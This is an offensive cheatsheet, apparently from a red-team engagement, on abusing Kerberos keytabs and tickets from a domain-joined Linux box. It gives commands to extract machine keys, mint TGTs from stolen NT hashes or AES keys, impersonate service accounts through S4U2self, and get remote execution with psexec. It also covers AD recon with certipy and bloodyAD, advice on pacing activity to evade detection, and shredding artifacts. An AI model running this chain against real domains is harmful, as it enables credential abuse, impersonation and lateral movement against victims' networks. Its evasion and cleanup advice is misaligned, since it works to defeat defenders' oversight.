Kerberos Keytabs on Linux (MIT krb5) β Cheatsheet¶
Purpose: Operate a domain-joined Linux box as its own machine account β read/build keytabs, mint TGTs (kinit -k), route per-identity ccaches via KRB5CCNAME so impacket/certipy/bloodyAD pick the right ticket, and survive the etype/clock-skew/realm pitfalls that silently break Kerberos.
Prereqs / context: A domain-joined Linux operator box (<ATTACKER_HOST>, IP <ATTACKER_IP>) with a machine keytab at /etc/krb5.keytab for <ATTACKER_HOST>$@<REALM>. REALM is the UPPERCASE DNS domain (<DOMAIN> lowercase β <REALM> uppercase). /etc/krb5.keytab is root-only β almost every keytab op needs sudo. Tools seen on the box: MIT krb5 kinit/klist/ktutil, Impacket v0.14.0.dev0, Certipy v4.8.2, bloodyAD.
1. Inspect a keytab (principals, KVNO, etypes) before you touch anything¶
sudo klist -k -t /etc/krb5.keytab # list principals + KVNO + timestamps (no key bytes)
sudo klist -ke /etc/krb5.keytab # same, but ALSO show the enctype per entry (aes256/aes128/rc4)
sudo klist -kte /etc/krb5.keytab # -t timestamps + -e etypes together
A healthy machine keytab holds the SAM account plus host/ and RestrictedKrbHost/ SPNs, short + FQDN, one row per enctype β all at the same KVNO (here KVNO 3):
KVNO Timestamp Principal
---- ----------------- --------------------------------------------------------
3 05/04/26 18:50:28 <ATTACKER_HOST>$@<REALM>
3 05/04/26 18:50:28 host/<ATTACKER_HOST>@<REALM>
3 05/04/26 18:50:28 host/<attacker_host>.<DOMAIN>@<REALM>
3 05/04/26 18:50:28 RestrictedKrbHost/<ATTACKER_HOST>@<REALM>
sudo kvno -k /etc/krb5.keytab '<ATTACKER_HOST>$@<REALM>' # local KVNO in the keytab
kvno 'host/<TARGET_FQDN>@<REALM>' # KVNO the KDC currently hands out for an SPN (compare β detect a stale keytab after a machine-pw rotation)
2. Get a TGT from the machine keytab (kinit -k) and route it¶
sudo kinit -k -t /etc/krb5.keytab '<ATTACKER_HOST>$@<REALM>' # AS-REQ as the machine acct using the keytab key (no password). REALM uppercase, SAM name with trailing $
sudo klist # confirm: Default principal: <ATTACKER_HOST>$@<REALM> ; krbtgt/<REALM>@<REALM>
Because sudo kinit writes root's default cache (/tmp/krb5cc_0), hand it to your unprivileged tooling and pin it explicitly:
sudo cp /tmp/krb5cc_0 /tmp/krb5cc_machine # copy out of root's cache
sudo chmod 644 /tmp/krb5cc_machine # make it readable by your operator user
export KRB5CCNAME=/tmp/krb5cc_machine # every krb5/impacket/certipy call now uses THIS ticket
klist # verify as your normal user (not sudo) that you see the machine TGT
3. Per-identity ccache routing with KRB5CCNAME¶
Give every identity its own named ccache; switch identity by re-exporting. -k -no-pass makes impacket/certipy/bloodyAD read KRB5CCNAME.
export KRB5CCNAME=<FOOTHOLD>.ccache # become the foothold machine acct
certipy find -u '<ATTACKER_HOST>$@<DOMAIN>' -k -no-pass -dc-ip <DC_IP> -target '<DC_FQDN>' -vulnerable -output adcs # PKI recon with the machine TGT
bloodyAD -d <DOMAIN> --host <DC_FQDN> -u '<ATTACKER_HOST>$' -k get writable --detail # writable-object recon over Kerberos
export KRB5CCNAME=<TARGET>.ccache # flip to the next identity β same tools, different ticket
KRB5CCNAME='<TARGET>$.ccache' klist -e # one-off: run a single command under a specific ccache without exporting
Filenames with a
$must be shell-escaped or single-quoted, or the shell eats it:export KRB5CCNAME='<TARGET>$.ccache'(or=<TARGET>\$.ccache).
4. Build / merge keytabs with ktutil¶
ktutil
rkt /etc/krb5.keytab # read (load) an existing keytab into the working list
list -e -t # show slots with enctype + timestamp
rkt other.keytab # read a second keytab β entries accumulate (this is how you MERGE)
wkt merged.keytab # write the combined working list to a new keytab
delete_entry 3 # drop slot 3 (e.g. strip the weak rc4 entry; re-list, numbers shift)
quit
Build a keytab from a known raw key (preferred β no salt guessing) so you can kinit -k as that principal:
ktutil
addent -key -p '<TARGET>$@<REALM>' -k 3 -e aes256-cts-hmac-sha1-96 # then paste the raw AES256 key as hex at the "Key:" prompt
wkt <TARGET>.keytab
quit
sudo kinit -k -t <TARGET>.keytab '<TARGET>$@<REALM>' # TGT as that principal from your hand-built keytab
Build from a password instead (salt-sensitive β see the notes below):
ktutil
addent -password -p '<USER>@<REALM>' -k 1 -e aes256-cts-hmac-sha1-96 # prompts for the password; derives the AES key using the default salt
addent -password -p '<USER>@<REALM>' -k 1 -e arcfour-hmac # add an RC4 entry too (RC4 is unsalted β survives salt mistakes)
wkt <USER>.keytab
quit
Direction note (don't believe the myth): a keytab holds long-term keys β produces tickets (
kinit -k). A ccache holds tickets, not keys β you cannot "convert" a TGT ccache back into a keytab. To go keyβticket usekinit -korgetTGT.py(Β§5); there is no ticketβkeytab path.
5. You have keys but no keytab β mint TGTs / extract keys¶
getTGT.py '<DOMAIN>/<TARGET>$' -hashes :<NT_HASH> -dc-ip <DC_IP> # NT hash β TGT ccache (RC4 session key β see the gotcha below)
getTGT.py '<DOMAIN>/<TARGET>$' -aesKey <AES_KEY> -dc-ip <DC_IP> # AES256 key β TGT with an AES session key (what hardened DCs want)
export KRB5CCNAME='<TARGET>$.ccache' # route the freshly-minted ticket
Pull the AES256/AES128/NTLM keys back out of a keytab (klist won't print key bytes):
python3 keytabextract.py /etc/krb5.keytab # KeyTabExtract β dumps NTLM + AES256 + AES128 to feed getTGT -hashes/-aesKey
S4U2self/S4U2proxy from a controlled machine acct (the chain this engagement ran). Note: the impersonation ticket etype is decided by the TGT session key, so feed it an AES TGT:
export KRB5CCNAME=<TARGET>.ccache # an AES-session-key TGT (from PKINIT/-aesKey), NOT an RC4 one
getST.py -self -impersonate '<SVC>' -altservice 'cifs/<TARGET_FQDN>' -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<TARGET>$' # impersonate a non-protected svc acct β cifs/<TARGET> ticket
export KRB5CCNAME='<SVC>.ccache' && psexec.py -k -no-pass <TARGET_FQDN> # use the impersonation ticket
6. Realm hygiene (krb5.conf / KRB5_CONFIG) and time¶
export KRB5_CONFIG=/tmp/krb5.conf # use a throwaway krb5.conf (custom [realms]/KDC mapping) without touching /etc/krb5.conf
sudo ntpdate <DC_FQDN> # sync clock to the KDC BEFORE any Kerberos op (kills KRB_AP_ERR_SKEW)
sudo rdate -n <DC_IP> # alt if ntpdate absent
sudo chronyc -a 'burst 4/4' && sudo chronyc -a makestep # alt: force chrony to step the clock now (chrony runs on this box)
What Went Wrong¶
kinit -kwith no principal fails.sudo kinit -k -t /etc/krb5.keytab(no princ) βkinit: Client 'host/<attacker_host>.<DOMAIN>@<REALM>' not found in Kerberos database while getting initial credentials. It defaulted to thehost/FQDNSPN, which is not a valid AS-REQ client. Fix: always name the SAM account β'<ATTACKER_HOST>$@<REALM>'.- sudo vs user = two different caches.
sudo kinitpopulated/tmp/krb5cc_0(root); a plainklistin the operator shell still showed a staleFILE:<USER>.ccache. You think you're the machine acct, your tool isn't. Fix: thecp /tmp/krb5cc_0 β¦ && chmod 644 β¦ && export KRB5CCNAME=β¦dance from Β§2, then verify with non-sudoklist. KRB_AP_ERR_MODIFIED (Message stream modified)on S4U2self β it's the etype, not policy. A TGT minted from an NT hash (getTGT.py -hashes) has an RC4 session key; a patched DC rejects the RC4-keyed PA-FOR-USER checksum.klist -econfirmed the cache was RC4 (Etype (skey, tkt): DEPRECATED:arcfour-hmac, β¦). Fix: get an AES session-key TGT via PKINIT (certipy auth -pfx <TARGET>.pfx -dc-ip <DC_IP>) orgetTGT.py -aesKey, then re-rungetST.py.- Same error string, different cause β protected target. Impersonating
<ADMIN>/Tier-0 also returnedKRB_AP_ERR_MODIFIEDeven with an AES ticket: the DC refuses S4U2self for a Protected Users / "sensitive, cannot be delegated" principal and impacket surfaces the refusal asMODIFIEDinstead of a cleanKDC_ERR_POLICY. A non-protected service account went straight through. Don't readMODIFIEDas a guaranteed crypto bug β rule out etype first, then suspect a protected principal. KDC_ERR_C_PRINCIPAL_UNKNOWNon a bare name.-impersonate Administrator(no realm) β unknown. Qualify it:-impersonate '<ADMIN>@<DOMAIN>'.KDC_ERR_WRONG_REALM (Reserved for future use). Pointed a tool (certipy find, getTGT) at a DC in a different child domain than the ticket's realm. Fix: pin-dc-ip/-targetto a DC of the same realm as your ccache, and keep a per-realmKRB5_CONFIG.KDC_ERR_ETYPE_NOSUPP. Keytab/request offers an enctype the KDC won't accept (e.g. RC4 disabled, or a keytab with only DES). Check withklist -ke; rebuild the keytab withaes256-cts-hmac-sha1-96(andaes128) viaktutil addent.KRB_AP_ERR_SKEW. Clock > 5 min from the KDC. Sync first (Β§6) β chrony is already on the box; onechronyc makestepusually clears it.addent -passwordsalt mismatch. For computer/UPN accounts the AES salt isn't the obviousREALM+user, so a password-derived AES key can be wrong βPREAUTH_FAILED. Preferaddent -keywith the raw AES key, add anarcfour-hmac(RC4 is unsalted) entry as a fallback, or skip the keytab entirely and usegetTGT.py -aesKey/-hashes.- Stale keytab after a machine-password rotation. If
kinit -ksuddenly throwsPREAUTH_FAILED, compare localkvno -kto the livekvno host/<host>β a KVNO bump means the box rekeyed and/etc/krb5.keytabis behind.
Detection / OPSEC¶
kinit -kis a normal AS-REQ (event 4768) for a computer account β blends with routine domain-joined traffic; low fidelity. Reading/etc/krb5.keytabis local to the operator box and not AD-visible.- High-signal follow-ons are the uses of the ticket: TGS-REQ (4769) bursts, S4U2self/S4U2proxy sequences, and 4662 on PKI/object reads. Pace recon; don't fan out across all DCs at once.
- Don't mix DCs mid-chain β pinning one
-dc-ipboth avoidsWRONG_REALM/replication races and produces a cleaner, more predictable log trail.
Cleanup¶
- Remove ccaches and any hand-built keytabs you staged:
kdestroy -A, thenshred -u /tmp/krb5cc_machine *.ccache <TARGET>.keytab <TARGET>.pfx. - Do not edit the host's real
/etc/krb5.keytab; if you merged into a copy, delete the copy. Unset overrides:unset KRB5CCNAME KRB5_CONFIG. - If you minted impersonation/service tickets, let them expire or
kdestroythem β they're the artifacts worth tidying.
References¶
- MIT krb5 β ktutil: https://web.mit.edu/kerberos/krb5-latest/doc/admin/admin_commands/ktutil.html
- MIT krb5 β kinit: https://web.mit.edu/kerberos/krb5-latest/doc/user/user_commands/kinit.html
- MIT krb5 β klist: https://web.mit.edu/kerberos/krb5-latest/doc/user/user_commands/klist.html
- Impacket (getTGT/getST/psexec): https://github.com/fortra/impacket
- Certipy (PKINIT/shadow/auth): https://github.com/ly4k/Certipy
- bloodyAD: https://github.com/CravateRouge/bloodyAD
- KeyTabExtract (keys out of a keytab): https://github.com/sosdave/KeyTabExtract
- The Hacker Recipes β Kerberos: https://www.thehacker.recipes/ad/movement/kerberos